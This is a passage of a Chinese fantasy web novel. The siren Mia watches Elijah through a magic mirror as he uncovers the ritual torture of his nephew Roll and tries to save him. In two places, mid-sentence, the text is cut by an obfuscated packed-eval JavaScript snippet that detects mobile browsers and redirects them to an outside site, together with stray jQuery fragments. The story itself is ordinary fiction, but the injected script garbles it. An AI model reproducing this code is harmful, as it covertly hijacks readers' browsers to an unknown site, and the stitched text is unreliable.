小鸟仿佛感受到他身上散发出的微微寒意,不安地抖动着身躯。 于是从少女的角度,她看到镜子中的画面在轻微的颤抖,而且鸟儿的视线因为害怕一直落在以利亚脸上,少年的模样从镜子中消失。 少女目不转睛地看着男人冰冷的侧脸,在她的印象里,青年一直是一个十分温柔体贴的人,好像永远也不会发火。 可是这一刻,隔着千里万里的距离,她却感受到了从男人身上散发出的冰寒气息。 那才是源于本质的,毫不遮掩的本性。 那些温柔,逐渐在她的记忆中淡化,笑容也似乎成了伪装。 少女感到难以言喻的困惑。 她甚至冒出了这样一个疑问,她真的了解他吗? 他向自己展现的,是否是真正的他? “舅舅。”面对第一次见面的亲人,少年强撑的冷静终于决堤,他低声呜咽起来,“我觉得很疼,我快要承受不住了。” 少年的声音让每一个听到的人都感到伤心,少女暂且放下她的疑问,她看到以利亚走到了床边,从声音判断出来他掀开了被子。 震惊出现在他的脸上,然后是愤怒。 “是谁做的?”以利亚的声音很低,仿佛在忍耐什么。 米娅紧紧握住镜柄,能让他反应如此激烈,他所看到的,一定不是简单的事情,到底发生了什么事情,她急切地想知道。 她的掌心开始微微发光,终于,像是听到了她的心声,小鸟将头转向了少年的方向,镜中的景象渐渐变化,映照出少年被子下的全貌。 他穿着一件丝绸的睡袍,精致的刺绣一看就价值不菲,可是当米娅将模样看向他的四肢时,再昂贵的衣服,也失去了意义。 少年裸露在外的手掌上遍布纵横交错的伤痕,大大小小各不相同。 有的深可见骨,有的只是浅浅的一道划痕。 有的已经愈合,暗色的血痂丑陋刺目,有的还很新,血液刚刚凝固,似乎轻轻一碰,又会渗出无尽的鲜血。 奇怪的是,除了少数几道伤痕还算整齐,像是人为造成的以外,大部分伤痕的边缘如海岸线一般曲折起伏,仿佛自然的伟力雕琢而成。 心惊之余,少女感到了一阵恶心。 那伤口的形状,就像是天然形成的。 可是少年应该只是一个普通人类才对。 少女疑惑地看着,未免吓到少年,她一直没有出声,此刻却有强烈的冲动想要问些什么。 不过她的冲动被接下来的一幕止住了,只见少年手掌的上方,被睡袍覆盖着的手臂上,突然开始起伏。 就像有小动物藏在袖中,正在其中爬行,引起衣袖不停的突起又收缩,又像是岩浆不停地翻涌冒泡。 很快,这样的情况蔓延到了手掌上。 他们得以看清,正在少年手臂上肆掠的,不是任何外来之物,而是他自己的血肉。 少年的血肉鼓起又回缩,将他的皮肤撑起,让那薄薄的一层皮肤几乎变得完全透明,仿佛一层蝉翼。 有时候,这层蝉翼会不堪重负破开,于是伤口出现,血液溅出来。 但很快的时间,血液上就会覆盖上一层胶状的物质,阻止了鲜血源源不断流出的同时,又将溅出去的鲜血吸收回去。 少女看不见以利亚的神情,只能从少年瞳孔的倒影中隐约分辨出,他的表情很不好。 也是,哪怕他们之间没有血缘关系,看到这样的一幕,也不会好受吧。 而且他的问题,始终没有得到少年的回应。 少年欲言又止,脸上出现了羞耻和为难的表情。 让一个刚刚见面的人见到自己狼狈的模样,哪怕对方是自己的亲人,也让他觉得难堪,而对方问的问题,更是让他不知道该如何回答。 少年侧过脸去。 以利亚叹息了一声,伸手去触碰某个刚刚出现的伤口,在那里,鲜血尚未完全凝固。 “不行!” 触感传来,少年惊讶地回头,尖叫出声。 他的脸上没有出现惊讶或是痛苦的表情,反而凝结了深深的恐惧,仿佛是有什么恐怖的画面出现或者即将出现在自己面前。 他的提醒还是晚了一步,鲜血沾上以利亚的指尖,就像嗅到了血气的野兽,一股脑地沿着他的手指攀缘而上,瞬间吞没了他的整只手掌。 隔着镜子,仿佛也能嗅到那些疯狂的血液的气息。 少年面露焦急,急切地想要将手缩回去,反被以利亚制止。 “放心,我没事。” 随着他终于出声,那些鲜血就像遇到了阻碍似的,忽然停了下来,攀援的最高的一缕,也不过到他的手腕位置。 然后,鲜血如同战场中的失败一方,丢盔弃甲向下退去,彻底缩了回去。 少年惊异地看着这一幕,好一会儿,他终于说起了为什么自己会感到惊恐,“上一次,有一个仆人不慎碰到了我的伤口,我的血瞬间涌了出来,将他整个人都吞没掉,无论我怎么做,都阻止不了。” 说着说着,他眼中的惊恐也逐渐加重,仿佛又回到了那一天,看着一个活生生的生命被自己吞噬掉。 “我会帮你。”以利亚低声说道。 低沉的声音莫名给人极大的安全感,少年渐渐平缓下来,思索了片刻,终于下定决心将一切 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形形色色的医生来到这里,没过多久又离开。 少年看见父亲的脸上失望越来越重。 他不想再让父亲失望,于是在某个夜晚偷偷倒掉了助眠的药物,这些药物,能够让他在睡眠之时感受不到痛苦。 没有了药物的帮助,少年在深夜从浅眠中痛醒。 他举起手臂,看见自己的血肉仿佛化身暗夜中的怪物,在手臂间游走,制造一个又一个伤口。 它们的动作起初很慢,然后变得越来越频繁,越来越快速,少年仿佛感受带了它们的焦躁,它们似乎在寻找什么,却始终得不到满足。 随着它们越来越躁动不安,从手臂上传来的痛楚也越来越尖锐,少年的忍耐到了极限,他痛呼出声,凄惨的声音在安静的夜里格外响亮。 很快,整座城堡都亮了起来。 他的父亲冲了进来,看见少年的模样,对着仆人发了好一通火,责怪他们没能看好少年。 如果不是少年的求情,也许那些人会受罚,但无论怎样,那天之后,照看少年的仆人又换了一批。 少年询问父亲自己身上究竟发生了什么事情,长久的沉默之后,父亲终于告诉他,自从上一次他生病之后,他的身体就出现了严重的变异现象。 原因不明。 父亲为他找了许多医生来看,也无法控制,只能用让他陷入沉睡的办法,减少他的痛苦。 听到这里,少女不禁为他们感到揪心,这时的她没有发现,随着少年的讲述,以利亚的表情越来越不对劲。 冷意几乎在他脸上凝成实质。 以利亚问少年:“是他让你向我求救的?” 少年赧然承认道:“父亲说,他想办法让异常只出现在我的手臂上,可是他的办法快要控制不住了,如果再不找到解决办法,我很有可能会变成一个怪物。他还说,我母亲的家族是特殊的,你们也许有办法救我,可是他找不到你,你已经失踪很久了,所以我才……” 在梦中向给自己的亲人发出求救信号,也不知道是谁教他的,但看似荒诞的做法却成功了。 少年说到最后,语气又变回了小心翼翼。 他敏锐地察觉到了这个第一次见面的舅舅心情的变化,在提及自己的父亲时,舅舅的态度并不友善。 父亲也说过,他们之间有些误会。 “您生气了吗?”他问。 “没有。”少女听到以利亚的声音,很温柔,让她仿佛回到了他还在岛上的那些时光。 “他说的没错,我们的家族是特别的家族,你的情况,也许我知道是怎么一回事。”以利亚的语气逐渐凝重,“我会尽力帮你,不过,现在恐怕不是时候。” 少女看不到镜子对面的全貌,但也能大概推断出,小鸟站在以利亚肩头,歪头看着少年的模样。 她有些不明白以利亚的意思,正如少年的眼中也浮现了疑惑一样。 紧接着,以利亚的手突然出现在了视野之中,他强行让小鸟看向了他,脸上浮现一丝歉意的微笑,“抱歉,接下来的事情,不方便让你看见。” 62. 过往(三) 镜面开始波动,断断续续的影像再也不能维持,彻底黑掉之前,少女看见门被踢开,一群不怀好意的人涌了进来。 这些人给她的感觉,和不久之前跟踪以利亚的人一样。 又是一群渡水者。 少女的心一下悬了起来,可是无论怎么摆弄镜子,镜中都只映出她的脸,她连忙在背面又写下了以利亚的姓名。 没用。 想到以利亚的话,她只能认为,是以利亚对那只神奇的小鸟做了什么。 希望如此,这样,说明他还能控制局势。 第二天早上,等了一夜,少女终于看见镜中的景象发生了变化。 就像人类慢慢睁开眼睛,从镜面正中央的一条缝隙到整个镜面,景色渐渐变得明朗,那是一间很简陋的小房间。 陈旧的家具,斑驳的墙面,还有从窗外传来的叫卖声和小孩子的哭闹声,仿佛置身于闹市区,而且是贫穷的闹市区。 少女听到小鸟扇动翅膀的声音,眼前的景色逐渐变化,熟悉的人影再度闯进了视野之中。 以利亚站在窗边,手中把玩着一个很小的玻璃盒。 听到身后的动静,他转过身,伸出手臂让小鸟停靠在上面,看着小鸟的眼睛。 少女注意到了他手上和脸上的伤口,再看他还是这副毫不在乎的表情,气不打一处来,“你给我说清楚,昨晚究竟怎么一回事?!” 她的声音通过小鸟传了出来,竟然引来以利亚的笑,不过提到昨晚的事,他的笑容又渐渐消失了。 没有犹豫太久,他将真相说了出来。 “你还记得吗,我的姓氏是赫尔西。” “当然记得,我知道赫尔西家族,你们是赫尔西岛的主人。” “其实,我曾经是赫尔西家族的族长。” 以利亚轻描淡写,将他还是孩提时的一系列变故说了出来,母亲早逝,姐姐嫁人又难产而亡,就连自己的父亲,也自杀身亡。 还有那个关乎每一个赫尔西家族传人的诅咒。 活不过四十岁。 “诅咒,是真的吗?”少女沉默了很久,不禁问道。 以利亚摇了摇头,过了一会儿,又点了点头,他思忖着该怎么解释,“从来没有诅咒,这是——赫尔西家族的命运,是我想要打破的命运。” 命运—— 少女有些怔愣,她曾听老祭司说过,在大陆时代,神明尚且行走于大陆之中之时,人们很少提及这个词语。 得到神明偏爱,一夕之间金钱名誉应有尽有的例子不少,每一个人都铆足了劲,用尽办法取悦神明,他们不信命运,只信人定胜天。 天空之劫改写了一切。 人们头一次意识到,原来在巨大的灾难面前,就连神明也无能为力,下一次劫难,又不知何时会降临到自己头上。 于是命运这般虚无缥缈的概念,突然变得重要起来。 每一个人都在祈祷命运对自己好一点儿。 她没想到以利亚也会在意命运,从原来的相处来看,他实在是个随遇而安的人,而对命运的敬畏与恐惧,往往出现在经受苦难的人身上。 少女忽然意识到,她果然一点儿也不了解他。 “是什么命运?”她的声音有点儿低。 隔着镜子,以利亚没有听出来,他微笑了一下,三两句转移了话题,“与赫尔西家族的历史有关,先不提这个,昨晚的事情,是雅克的一场局。自从我十年前离开赫尔西岛之后,他坐立难安,一直派人追杀我。你遇见我时,那艘船的覆灭,背后也有他的影子。不过我留在奥修斯岛上那段时间,他彻底失去了我的消息,派人进无尽海搜寻也没有结果,他急于确定我是否还活着,才会突然出此下策,利用罗尔引我现身。” “利用罗尔引你现身?”少女疑惑地重复道。 以利亚笑容渐隐,眉眼间有一点儿冷意,“罗尔身上的力量,来自于赫尔西家族的起源,按理说,这种力量不应该在他身上出现。” “为什么?” “因为我很熟悉这种力量,它已经与我共存了很多年。”以利亚举起右手,五指张开,阳光穿过指尖缝隙,落到他的脸上,“他身上的这种力量,像是被人强行灌注,与他的身体并不相融,因此,才会出现这些异象。” 少女若有所思,她起初听得心里一惊,这种力量也存在于以利亚身上,可是他们也算是世界上最亲密的人,她却从没在他身上见过类似的伤痕和异状。 听到后面,少女总算明白了,原来造成这一结果的力量已经与以利亚融为一体。 她突然很想问他,那么,他是否时刻都在遭受同样的痛苦呢? 以利亚没有给她这个机会,他接着说:“我还不确定他身上的这些力量从何而来,可以肯定的是,他并不像雅克所说,已经到了控制不住的地步。” 少女沉默了一会儿,“所以说,他骗了罗尔,只是为了杀死你。” “没错。” “那昨晚——” 以利亚笑了笑,安慰她:“他们还不能将我怎么样,只是受了点儿小伤而已,没什么大碍。” 少女知道他说的是真的,便也不再纠结于这一点,“你接下来有什么打算?” 窗外走过一队巡逻的卫兵,以利亚顺势将窗帘拉上,没有了阳光的房间稍显昏暗,他的半边脸也藏在了阴影之中。 “虽然没有生命之忧,但罗尔的情况也并不乐观,我要想办法帮他,第一件事,是要弄清楚他为什么会变成如今的样子。” 少女没忘他如今的处境。 在敌人的地盘,要隐藏身份,要防范随时可能出现的暗杀,现在还要查清真相,可不是件轻松的事情。 她忽然产生了一股冲动,“我来找你吧。” 如果她在他身边,就凭他们的力量,还有谁能拦得住他们呢。 “不行。”以利亚想也没想就拒绝了。 海妖血的问题还没解决,在外的海妖都陆陆续续回到了奥修斯岛,她身为下一任祭司,怎么能在这个节骨眼上出去冒险呢。 少女心里难道不懂这个道理吗,她太清楚了,可是她也不能容忍自己就这么看着,一点儿努力也不做。 这段对话之后,少女去找了老祭司,告诉他自己想出岛,没有意外,老祭司并不同意。 当她垂头丧气地回去之后,却发现镜中的景象又消失了。 她已经知道这是怎么一回事了,这只连接两人沟通渠道的小鸟虽然神奇,也意外的脆弱,只需要很小的力量,以利亚就能让它陷入沉睡。 每当这个时候,就是他不想让自己知道的太多的时候。 虽然后来又抱怨了几次,但在这一点上,以利亚始终不肯让步,用他的话说,人类的复杂远超海妖想象,她最好少接触。 他没有说实话,少女感觉到了,但也无可奈何。 接下来的几天里,她只能在零星的时间里观察万里之外的情形,透过只言片语,了解以利亚在做什么。 到底是布里斯帝国最有名的家族之一,赫尔西家族残存的势力在绿恩岛也有所体现。 以利亚辗转找了很多人,他们为他提供了隐蔽的住所,帮他打听罗尔的现状,他还去悄悄拜访了曾经诊治过罗尔的医生。 他具体了解了些什么,少女并不知道,可是她能看到以利亚一天比一天更凝重的脸。 她看见他眼中的怒火,一天比一天燃得更旺,并且在某一天,拜访一个年事已高的宫廷御医时,到达了顶点。 那是一个干瘦的老人,话也说不利索,更无奈的是,他的脑子也变糊涂了,记忆混乱,时常胡言乱语。 他是在罗尔刚生病的时候就为他看过病的医生,那时他还是个头脑清醒德高望重的医者,被皇室信任,名声在外面也十分响亮。 老人嘴里颠三倒四说着一些胡话,老人的儿子则是很不耐烦地催促以利亚快些离开,别给他们家带来麻烦。 就像此前很多次一样,又是一个无用的线索。 经历得多了,以利亚也不会每次都避着少女。 眼见在这里获得不了多少讯息,以利亚准备离开。 这时,意外发生了,老人突然大叫着心脏疼,颤颤巍巍起身,脚刚迈出去一步,就直挺挺地倒了下去。 “哎呦!”老人的儿子一拍大腿,说他心脏有些问题,得赶紧吃药,匆匆跑到另一个房间去取药。 意外来得猝不及防,以利亚犹豫了一下,看着老人痛苦的表情,停下了脚步,他蹲下来查看老人的情况,还什么都没做,老人忽然猛地睁开了眼睛,浑浊的眼珠中有几分焦急。 老人一把抓住他的胳膊,干枯的手握得很紧,似乎用尽了全身的力气。 老人从怀中摸出一张皱巴巴的纸条,塞到以利亚的手中,颤颤巍巍地说:“去找这个人。” 说完,他就彻底晕了过去。 而老人的儿子也在这个时候走了进来,手中拿着药,尖叫一声跑了过来,看起来很焦急的样子。 以利亚冷眼看了一阵,默默退了出去。 纸条上写着两行字,第一行是个名字,亚历山大·索斯,第二行则是个地址。 “亚历山大·索斯……”以利亚沉声重复着,若有所思。 “你认识他?”少女好奇。 “他曾是非常有名的宫廷医生,但几年前出了意外溺水身亡。” 他们要去见的,究竟是一个死人,还是装死的人,又或者说,这个名字和地址也是某个人的阴谋,目的同样是为了埋伏他? 少女思索之际,以利亚已经做出了决定,他踏上了前往纸条上的地址的道路,并且在贫民窟的深处,见到了这位本该死了的医生。 胡子拉碴,头发凌乱肮脏,这位亚历山大·索斯年少成名,这时也不过三十多岁,眼睛里却透露出沧桑的滋味。 “你终于回来了。”他看到以利亚,没有太惊讶,以这句话作为了开始。 “你见过我?” 亚历山大·索斯摇了摇头,“这是我们第一次见面,但我知道,你是以利亚·赫尔西,罗尔小殿下的舅舅,你和他长得有点儿像,这种像我从来没有在别人身上见过,也许是你们赫尔西家族的传承。” 少女忍不住回想了一下罗尔的样子,那个清瘦虚弱的少年。 像吗? 是有一点儿,但似乎也没到这种地步吧。 不得不说,以利亚的样貌实在是太过出众,以至于不管是谁在他面前都会黯然失色,罗尔也不例外。 不等以利亚反应,亚历山大·索斯又接着说:“我听说有人在打听罗尔小殿下的病情,就猜想是不是你,所以冒险让人将我的藏身之处透露了出来。还好,我等到的确实是你。” 他的神情很沉重,浑身却散发着一股如释重负的表情。 亚历山大·索斯继续说:“罗尔小殿下的情况已经很不妙了吧,我明白,你一定很想知道在他身上究竟发生了什么事情,我都会告诉你。” 为了保证不被打扰,他们换了一个地方。 在此期间,以利亚多次想令小鸟陷入沉睡,皆被少女拒绝,最后,他没再坚持。 亚历山大·索斯向他讲述了一个沉重且黑暗的故事。 莱森和罗尔的母亲,也就是以利亚的姐姐,缇雅·赫尔西,是难产生下的两个孩子,他们自出生起,身体就不太好。 彼时刚刚崭露头角的亚历山大成为了他们的御用医师。 等到逐渐长大,两人的身体慢慢与普通孩子无异,亚历山大以为自己职责已尽,没想到在这个时候,发生了一个变故。 该变故与以利亚有莫大的关系。 以利亚的父亲去世,帝国皇帝以以利亚年纪尚小为由,派雅克亲王接管了赫尔西岛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144390|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后以利亚失踪,莱森将姓氏改为赫尔西,成为了新一任赫尔西岛领主。 从此以后,这对双胞胎天各一方,走上了截然不同的道路。 雅克亲王将年幼的莱森独自留在赫尔西岛,自己回到了绿恩岛,他生了重病,将自己关在房间里几个月不曾见人。 “我也不知道在雅克亲王身上究竟发生了什么事情,按理说,我应该为他治病,但是亲王拒绝了,我无法了解他的真实情况,只能从他的面容和动作隐约看出来,他的情况很不好。他让我多多关注罗尔小殿下,可是罗尔小殿下的身体没有任何问题,我感到很疑惑,就这么又过了一年。” 一年后的某一天,亚历山大照常来到亲王府,却吃了个闭门羹。 亲王府说,罗尔有事出去了,让他改天再来。 然而当天夜里,有人着急地敲响了他的门,是亲王府的仆人。 “他们说亲王殿下有事找我,蒙住我的眼睛,带我来到了一个奇怪的房间。” 那是一个潮湿阴暗的地方,一踏进去,亚历山大就感觉到了难以抑制的寒意和恐慌。 他的头套被拿下。 冷清的房间里,罗尔躺在一张简陋的石床上。 罗尔的身边到处都是凝固了的血,简直像是凶案现场。 但他就像普普通通地睡着了一样,呼吸绵长,胸口平缓的起伏。 几个神情古怪的人围着他,他们什么也没说,亚历山大却精准地识别出来,那几个是他的同行。 都说同行是冤家,也许是这个原因,他见到他们的第一面,就感到不舒服,更何况还看到他们肆意破坏着罗尔的身体,在他身上制造伤口。 “现在想来,从那个时候起,不平常的迹象就已经显现了。” 他们说,罗尔病了,可是亚历山大翻遍了医书,也没找到有什么病会产生罗尔的症状,小小的少年就这么躺在床上,痛苦的呻吟。 他实在于心不忍,用了一点儿镇静的药物,让他陷入了沉睡。 当罗尔安静下来,他终于能够仔细去研究那些大大小小的伤口。 罗尔身上的伤口实在太多,亚历山大花了很久的时间,才根据伤口的状态找到时间最久的几道,它们已经结了厚厚的一层血痂,几乎看不清原来的形状。 但是从伤口边缘的整齐程度来看,那是—— 人为的。 他第一时间想到了刺客,在皇室,遇到这样的状况不稀奇。 难道是罗尔遭遇了刺杀,而刺客在武器上涂了剧毒,才会造成如今的结果? 亚历山大那时想,想治好罗尔,肯定得知道究竟是什么毒药,可是雅克亲王决不会慷慨说出来,如果他愿意吐露真相,从一开始,也就不会处处瞒着他了。 他决定自己偷偷查。 这不是一件容易的事。 他在这个神秘场所的一举一动都被监视,这些人不仅瞒着他很多事,而且对他很有恶意。 他能感觉到不友善的目光时刻萦绕在身侧。 在如此艰难的环境下,亚历山大的探查始终没有进展,直到某一天,他无意间看到一本大陆时代的古籍。 在古籍的隐秘之处,记录了一个阵法。 按照古籍上所说,将人类摆于阵法中央,找到一块来自永恒花园的石头,将石头磨尖,在人类的手腕上划出一个奇怪的图案,让鲜血从线条中流出,淌到阵法中,这个人类就可以拥有一部分神明的力量。 看到那个图案之时,亚历山大知道,他到达了真相的边缘。 巫术曾经在奥维伊大陆风靡一时,后因使用巫术的巨大代价,被几乎陆地上所有国家禁止,巫师几乎绝迹。 此类阵法,曾经就属于巫术的一种,记载阵法的书籍,理应全部销毁了。 那些伤口不是生病,不是毒药,而是人为造成的,巫术的痕迹。 作为一名宫廷医师,亚历山大能接触到一些常人不能知道的秘密,比如,这类书籍并未完全销毁,只是不对外流通。 各国的皇宫之中,一定保存着绝版。 而且,只有特定的人群才能翻阅。 可是现在这本古籍却出现在了这个神秘的地方。 想到这里,亚历山大打了个冷颤,他突然意识到,也许这里不是什么神秘的地方,而是皇宫中的某个角落。 罗尔的遭遇,也不是意外,是皇室中人刻意为之。 他是雅克亲王的儿子,谁敢冒这样的风险? 唯有两个人,雅克亲王自己,以及皇帝陛下。 “我后悔了,不该调查这件事,可是没等我磨平所有痕迹,陛下的亲卫就冲了出来,原来我能找到那本书,也是他们设下的陷阱。” 亚历山大终于知道了幕后黑手,但他同时也失去了选择。 皇帝高高在上俯视着他,命令他继续研究罗尔。 “研究……”以利亚重复道,从齿间挤出了这两个字,他显然也想到了什么。 “没错。这是我后来慢慢得到了他们的信任才知道的,罗尔小殿下自出生起,就一直在被他们研究,他们想知道,为什么赫尔西家族的人天生就是渡水者。很早之前,当找到古籍上的阵法之时,他们喜出望外,觉得找到了从普通人变为渡水者的办法。” 布里斯帝国的皇帝和亲王,都不是渡水者。 “可是他们不敢在自己身上试,于是偷偷用监狱中的犯人尝试,无一例外,那些犯人都死了,死状十分凄惨。这让他们很害怕,但是又不肯放弃,情急之下,将目光投向了罗尔小殿下,他们想知道,已经是渡水者的人类,再接受这种力量,会变成什么样。” 结果显而易见,罗尔同样遭受了巨大的痛苦,但他没有死,他还活着。 这简直就是莫大的鼓励,让他们迫切地想要弄清楚赫尔西家族的秘密。 “但直到我假死逃走,这依然是个谜。” 63. 过往(四) “我知道他们为什么会失败。” 离开亚历山大医师隐姓埋名的居住地,以利亚走进了帝都错综复杂的小巷中。 大隐隐于市,在这里被跟踪的概率大大降低。 周围无人之刻,少女操控着小鸟飞到了以利亚面前,面对面看着他。 经过一段时间的熟悉,她已经大概明白了怎么操纵这只神奇的小鸟。 她有一肚子疑问,未曾开口,以利亚就想到了她想说的话,神情凝重地吐出这么一句。 少女微微挑眉,灰色的小鸟头一歪,也露出了惊讶的表情。 以利亚伸出手掌,小鸟落到他的手掌上,发出啾啾两声,好像在催促他快说。 他不禁弯了一下嘴角,“他说的阵法,在群岛还是大陆之时盛行一时,人总是渴望拥有更强大的力量,尤其是当他们时刻见证着神明的伟力之时,羡慕化为行动,即使知道有可能为此失去生命,也挡不住内心的欲望。” “一个必死的阵法,也会有人前赴后继跳进去?” 少女不太能理解。 “必死?并非如此,你看罗尔不是还活着吗,在大陆时代,铤而走险使用法阵的一万个人里,大约会有一个能够活下来,而这个活下来的人,正如他所期望的一样,将拥有超凡的力量。” 少女有些不明白,“你的意思是,罗尔就是这个万分之一的幸运儿?” 以利亚轻轻地摇头,“所谓幸运,实则是一种必然,这个阵法的作用,实际上是在借用神明的力量。可是神明的力量岂是凡人能够轻易觊觎的,这些活下来的人,都有一个共同点——他们都是神的后裔。” 神的后裔? 少女心里一惊,一时说不出话来,她想到了自己孩提时接受老祭司的历史教导时的情形。 老祭司说,奥维伊大陆时代,当众神还行走于大地之时,他们曾与大地上包括人类在内的生物结合。 但毫无例外,由此诞生的后代丝毫没有神明的力量,人与神的子嗣,也只是普通人,他们会流血,会生病,会衰老,扔在人群里,除了过于美丽或是过于丑陋的外貌,实在看不出和普通人的差别。 赫尔西家族的传闻,少女也听说了一些。 她忍不住仔细打量起了以利亚的脸,她曾经盯着看过无数次的眼眸,高挺的鼻梁,丝绸一般的黑发。 从人类的角度来看,他的确拥有一张过于出色的面容,还有那个躺在床上的虚弱少年,即使面色苍白柔弱不堪,也不减他的漂亮。 “既然你们——”少女犹豫了一下,不知该如何说下去。 她想说,既然赫尔西家族果然如传言一般是神明的后裔,罗尔为什么还会变成现在的模样? 以利亚倒是很明白她想说什么,“罗尔自出生起就是渡水者,他的身体里,本就有神力存在,强行吸纳更多的神力,他也会承受不住。” 过犹不及。 再多的,以利亚没对少女说,眼下不是个好时机,要先解决罗尔的事。 接下来的故事,如同外界传闻的那样,以利亚来到了皇宫,他想见一见让罗尔如此痛苦的始作俑者,布里斯帝国的皇帝。 他送往皇宫的书信到了皇帝手中,皇帝一口答应下来,说是要当面向他解释误会,可是当他去皇宫赴约之时,数十个渡水者将他团团围住。 他们一点儿也没手下留情,招招致命。 看来谈判是不可能了,没有误会,皇帝也从来没想过见他,他是他们的眼中钉,他们只想杀了他。 以利亚不再克制,他对皇室的耐心,经过十年前的事之后就所剩无几。 此前是因为对自己的力量有所忌惮,才避世退让,现在事关罗尔,他不会再退让。 著名的“三月血案”由此而来。 外面都说,他是为了赫尔西岛领主的位置才在皇宫大开杀戒,但只有少数几个人知道,他是为了救自己的外甥。 战斗的结果以皇帝主动求和结束。 高高在上的皇帝陛下终于明白,自己惹到了不该惹的人,再继续下去,布里斯帝国将失去无数的战士,但是依然阻止不了这个比死神还可怕的男人。 他的内心充满了恐惧。 以利亚带走了罗尔。 他离开之后,布里斯帝国最上层经历着一场彻底的混乱,在这场混乱中,年幼的皇女被当作傀儡扶持起来,教会异军突起,成为了实际的掌权者。 后世认为,这是以利亚的杰作,但当时的情况是,他早已无心这些权力斗争的琐事。 几日不见,罗尔的状况愈发糟糕了。 悲剧终于在以利亚将他带走那一刻停止了,罗尔一开始是这样想的。 但很快他就发现自己错了。 他从以利亚那里听说了赫尔西家族的历史,以及—— 潜藏在罗尔的血肉之中,让他时时刻刻处于痛苦之中的,是神明的力量。 而且与渡水者获得的溢散的力量不同,这是一种更接近于神祇本源的力量。 自出生以后,以利亚一直在与这种力量抗争,他深知这种力量有多强大,仅凭罗尔,无法与之相抗衡。 罗尔对此并无异议,若是他自己能够忍受下来,或许当初他就不会受到雅克亲王的蛊惑,在梦中向以利亚求救了。 他们离开了绿恩岛,一路向北而去,来到了群岛最北端的慕斐岛附近。 这时,罗尔身上的伤口越来越多,愈合得也越来越慢,疼痛让他大半时间都处于昏迷状态。 她让他们来奥修斯岛。 以利亚没有同意,赫尔西家族的事情,总是充满了危险,不该牵扯到其他人。 他也向她解释了为什么要去慕斐岛,因为慕斐岛是传说中奥维伊大陆的中心,创世神从这里将天地分开,第一滴水,第一个人类,第一只飞鸟,都从这里诞生。 传说,这里在混沌时期曾是创世神与凶兽战斗的地方,凶兽的血渗进慕斐岛每一寸土地上,将这里变得寸草不生。 后来,气候的变化直接将慕斐岛变为了冰雪覆盖的无人之地。 据说,凶兽的血液依然在影响着这片土地,就算是神明的目光,也无法看到发生在这里的故事。 是一个躲避监视与追杀的好地方。 小鸟依然跟在以利亚身边,只是少女已经不会时常拿起镜子与他说话,她想帮助他们。 可是事关赫尔西家族的秘密,她又不能拿这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148598|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事直接去问老祭司,只好一头扎进了老祭司珍藏的书籍之中,试图从中找到解决办法。 当她向以利亚说出自己的行动之时,以利亚先是欲言又止,然后温柔地感谢她和鼓励她。 少女一心关注着罗尔的遭遇,没有注意到他的异常。 没过多久,镜子中的人突然变了脸色,他伸出手,蒙住了小鸟的眼睛。 少女不知道他为什么要这么做,她焦急地询问他,那边却没传来任何声响,很久之后,她又从镜子中看到了那张脸,有些苍白,有些疲倦。 他说:“罗尔快撑不下去了,米娅,我必须要帮他。” 少女张了张嘴,她想问,怎么帮,但始终没说出口,她已经预感到,事情正在无可救药地滑向深渊。 在这一刻,少女做出了一个大胆的决定。 她要去找他。 她没有不顾一切地冲动行事。 离开奥修斯岛之前,她特地去见了老祭司。 在这个特殊的时刻,出岛面临着很大的风险,她务必要征得老祭司的同意。 老祭司听了她的讲述,思索良久,让她留在原地,独自走进了祭坛之中。 当族内发生重大事件时,祭司走入祭坛,向神明祈求神谕是再正常不过的事情,但少女没想到她出岛也算是重大事件了。 莫非是因为她提及了慕斐岛? 少女忐忑等待良久,心里不断想着同意或不同意她该怎么应对之际,老祭司终于出来了,她的脸色很不好,苍老的容颜上,是抑制不住的忧虑。 少女原以为自己的打算落了空,出乎意料的是,她同意了。 “您看到了什么?”惊喜之余,少女也不禁有些忧虑。 海神早已不回应她们,所谓神谕,不过是海妖祭司利用神的恩赐进行的预言。 老祭司摇了摇头,什么也没说。 少女更加忐忑了,可是时间不等人,她立刻向慕斐岛赶去。 当她终于根据镜中的画面找到以利亚和罗尔的存在时,眼前的一幕,却让她惊呆了。 冰川的腹地,被坚冰环绕的洞穴之中,鲜血如同水流,延着地面的凹槽缓缓流淌,逐渐在地面画出一个奇怪的图案。 只看了一眼,少女就感到了不适。 更令她惊讶的是,两个人站在图案正中央,稍矮一点的身影搀扶着另一个修长的身影,神情惊慌失措。 他听到来自洞口的动静,警惕地看过来。 那是少女和罗尔第一次见面。 少年身形比镜中看到的更为高挑一些,充满稚气的脸庞依然瘦削,却红润了许多。 少女不禁看向他的手臂,褴褛衣衫之下,可以看见光洁的皮肤和瘦弱的身躯。 那些可怖的伤口和肆意增长的血肉,都消失了? 毫无疑问,少年身上的诅咒已经被去除。 唯有一人能做到这件事—— 少女终于看向了少年的身侧,她无比熟悉的那个人。 以利亚无力地垂着头,黑色的长发垂在脸侧,将苍白的脸颊遮住大半,他的手掌垂在身侧,鲜血似一股细细的水流,从指间流出。 原来地上的血液,都是他的血。 64. 过往(五) “以利亚!” 少女高喊他的名字,下意识就要冲过去,可是又担心自己过去影响到他,已经抬起的脚硬生生又放了下去。 男人没有反应,少年怔了一下,戒心稍减,高声问道:“你是什么人?” “我……”少女一时不知该作何回答。 恋人?情人?还是…… “未婚妻,我是他的未婚妻。” 